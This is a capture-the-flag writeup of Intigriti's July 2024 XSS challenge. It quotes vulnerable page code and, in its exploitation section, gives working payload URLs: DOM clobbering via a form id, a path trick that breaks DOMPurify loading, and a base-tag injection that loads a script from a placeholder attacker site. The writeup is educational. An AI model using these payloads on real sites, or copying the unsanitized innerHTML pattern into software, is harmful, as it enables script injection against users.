Logo
Published on

Intigriti challenge 0724 writeup

Authors

Source: Intigriti

Solves: TBD

Introduction

Great challenge with some interesting CSP concepts and and DOM clobbering trickery.

Reconnaissance

Very simple page with one input form and one field. The text we enter in the memo field is reflected on the page upon submission.

Challenge page

Source code analysis

All the logic is located under index.html which imports a few files:

  • Local import of DOMPurify 3.1.5
  • Local import of a style
  • Local import of logger.js
<!DOCTYPE html>
<html lang="en">

<head>
	<meta charset="UTF-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1.0" />
	<title>Memo Sharing</title>
	<script integrity="sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw=" src="./dompurify.js"></script>
	<link rel="stylesheet" href="./style.css" />
</head>

<body>
	<div class="navbar">
		<h1>Memo Sharing</h1>
	</div>
	<div class="container">
		<div class="app-description">
			<h4>
				Welcome to Memo Sharing, your safe platform for sharing memos.<br />Just type your memo
				below and send it!
			</h4>
		</div>
		<form id="memoForm">
			<input type="text" id="memoContentInput" placeholder="Enter your memo here..." required />
			<button type="submit" id="submitMemoButton">Submit Memo</button>
		</form>
	</div>

	<div class="memos-display">
		<p id="displayMemo"></p>
	</div>

	<script integrity="sha256-C1icWYRx+IVzgDTZEphr2d/cs/v0sM76a7AX4LdalSo=">
		document.getElementById("memoForm").addEventListener("submit", (event) => {
			event.preventDefault();
			const memoContent = document.getElementById("memoContentInput").value;
			window.location.href = `${window.location.href.split("?")[0]}?memo=${encodeURIComponent(
				memoContent
			)}`;
		});

		const urlParams = new URLSearchParams(window.location.search);
		const sharedMemo = urlParams.get("memo");

		if (sharedMemo) {
			const displayElement = document.getElementById("displayMemo");
			//Don't worry about XSS, the CSP will protect us for now
			displayElement.innerHTML = sharedMemo;

			if (origin === "http://localhost") isDevelopment = true;
			if (isDevelopment) {
				//Testing XSS sanitization for next release
				try {
					const sanitizedMemo = DOMPurify.sanitize(sharedMemo);
					displayElement.innerHTML = sanitizedMemo;
				} catch (error) {
					const loggerScript = document.createElement("script");
					loggerScript.src = "./logger.js";
					loggerScript.onload = () => logError(error);
					document.head.appendChild(loggerScript);
				}
			}
		}
	</script>
</body>

</html>

Our focus would be around the main script in index.html. We can see that there is some interesting logic that checks whether the page is running in the development environment by checking the isDevelopment variable which is not defined by default. In such a case it sanitizes the input and displays it, otherwise it just displays it unsanitized relying on the CSP directives. The input is read either by submitting the form or defining the memo query parameter.

CSP

All of the imported scripts have the integrity directive defined with the sha256 of the contents. This will block any of our attempts where we try to alter any of the script contents for either DOMPurify or the main script in index.js since we would be altering the SHA. Inspecting the headers that are defined by the server we can see:

default-src *; script-src 'strict-dynamic' 'sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw=' 'sha256-C1icWYRx+IVzgDTZEphr2d/cs/v0sM76a7AX4LdalSo=';

The TLDR is that we will have a hard time invoking arbitrary javascript execution without altering the contents of the scripts. In such cases we would get an error such as:

Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'strict-dynamic' 'sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw=' 'sha256-C1icWYRx+IVzgDTZEphr2d/cs/v0sM76a7AX4LdalSo='". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution. Note that hashes do not apply to event handlers, style attributes and javascript: navigations unless the 'unsafe-hashes' keyword is present.

Exploitation

The exploit will consist of 3 parts in order to get the XSS:

  • DOM Clobbering
  • Triggering the error code block
  • Overriding the logger file location

DOM Clobbering

Since the sanitization is done only when the origin is localhost it is very easy to achieve DOM clobbering by injecting any html in the meta attribute e.g

https://challenge-0724.intigriti.io/challenge/index.html?memo=<h1>Clobber</h1>

The input is put inside a p tag so adding a script there will not work, however we can test with an img based XSS e.g <img src=x onerror=alert(1)>. This throws the beformentioned CSP error since we do not have the unsafe-inline directive defined and we do not have the sha256 of our code block whitelisted.

Rabbit hole

It ain't a real CTF if we don't have a rabbit hole and desperation. These are good since we learn things along the way.

It is possible to invoke arbitrary JS via an iframe and the src attribute to render html from an attacker controlled site, however this only works inside the iframe and affects only the attacker domain. Trying to inject the script from our site will also be blocked due to the default-src directive which disallows loading in a site from a different domain in the iframe. Also adding something like:

<iframe src="https://challenge-0724.intigriti.io/challenge/index.html"></iframe>

Will result in `Refused to display 'https://challenge-0724.intigriti.io/' in a frame because it set 'X-Frame-Options' to 'sameorigin'.

Took me a while going back and forth and trying to bypass the CSP, override it in the iframe, editing the sandbox properties and much more with no avail. What I learned is that even if I did manage to bypass the restrictions I would not be able to edit the iframe contents and inject a malicious script to an already loaded iframe with the src attribute set.

Payload

Going back to the development environment portion of the code we can see that the isDevelopment is not set anywhere, however it is always referenced. This means that if we find a way to define a global variable we would be able to enter the condition. The first section on hacktricks related to DOM clobbering has our answer.

It's possible to generate global variables inside the JS context with the attributes id and name in HTML tags.

We can confirm that this works with:

https://challenge-0724.intigriti.io/challenge/index.html?memo=<form id=isDevelopment></form>

With this payload we no longer see the error that isDevelopment is not defined. This is great, now we have achieved DOM clobbering and successfully enter the conditional portion of the logic.

Error trigger

As a usual practice I always see if I can see any abnormalities with path traversals which lead me to the second part of the exploit. The index.html file seems to be set as a fallback for any specified path even if it does not exist. As an example we can navigate to https://challenge-0724.intigriti.io/challenge/a/b/c/index.html?memo=test and the page would load.

Broken CSS

Right away we can see that we seem to have not loaded the css which is interesting. This is due to the fact that both the stylesheet and the dompurify scripts are being loaded with a relative path ./style.css and ./dompurify.js respectively.

Checking the console log we can see Failed to find a valid digest in the 'integrity' attribute for resource 'https://challenge-0724.intigriti.io/challenge/a/b/c/dompurify.js' with computed SHA-256 integrity 'T6qWAApYzyDAbQi4v3DmLdljNB8XAs06eI3hgUUfhRk='. The resource has been blocked.

This is great since we are not loading the script which means when we invoke sanitize it wil error out and reach our catch block.

Payload

Combining our DOM clobbering with our error invocation we get:

https://challenge-0724.intigriti.io/challenge/a/b/c/index.html?memo=<form id="isDevelopment"></form>

Logger override

A big thank you to stealthcopter for the help around this topic which guided me to figuring out the final step. The offending logic resides in:

const loggerScript = document.createElement("script");
loggerScript.src = "./logger.js"

For local development a logger script is loaded in that will print out the error when an exception is thrown. The script has no significant logic:

// Not fully implemented yet
const logError = (error) => {
  console.log(error);
};

There is an interesting HTML attribute named base that allows setting a default url for a specific path. If we specify ./logger.js as the target attribute of the base tag we will be able to load in an external script via the href attribute. Combining this with the two previous parts we get:

https://challenge-0724.intigriti.io/challenge/a/b/c?memo=<form id=isDevelopment></form><base href="<attacker_site>" target="./logger.js"> and we would just add alert(document.domain); to the attacker controlled site.

Running this payload will overwrite the logger.js script load and trigger the XSS.

Broken CSS

Conclusion

Great challenge that touches up on CSP directives and behaviours. Was a fun one for sure.